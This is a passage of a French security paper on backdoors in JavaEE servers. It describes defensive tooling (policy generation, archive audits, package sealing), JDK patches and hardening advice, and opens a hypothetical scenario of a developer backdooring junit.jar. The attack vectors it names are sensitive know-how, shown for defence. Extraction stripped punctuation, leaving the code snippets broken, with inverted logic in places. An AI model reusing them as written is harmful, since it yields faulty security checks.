Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges

Un fichier au format XML permet de synthetiser les resultats

$ macaron -audit --output auditxml MonComposantear

$ firefox auditxml

434 Porte derobee dans les serveurs drsquoapplications JavaEE

Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats

Fig 14 Audit

Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs

archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc

ltpackages gt

ltpackage

name=orgaspectjinternallangannotationgt

ltcontext gtaspectjweaver -161 jarltcontext gt

ltcontext gtaspectjrt -160 jarltcontext gt

ltpackage gt

ltpackages gt

Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees

$ macaron -audit --output ignorexml MonComposantear

$ macaron -audit --ignore ignorexml

-output auditxml

MonComposantear

P Prados 435

Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement

ltfilenames gt

ltfilename name=MANIFESTMF gt

ltfilename name=INDEXLIST gt

ltfilename name=packagehtml gt

ltfilenames gt

Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques

Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses

ltdependency gt

ltgroupId gtorgspringframework ltgroupId gt

ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

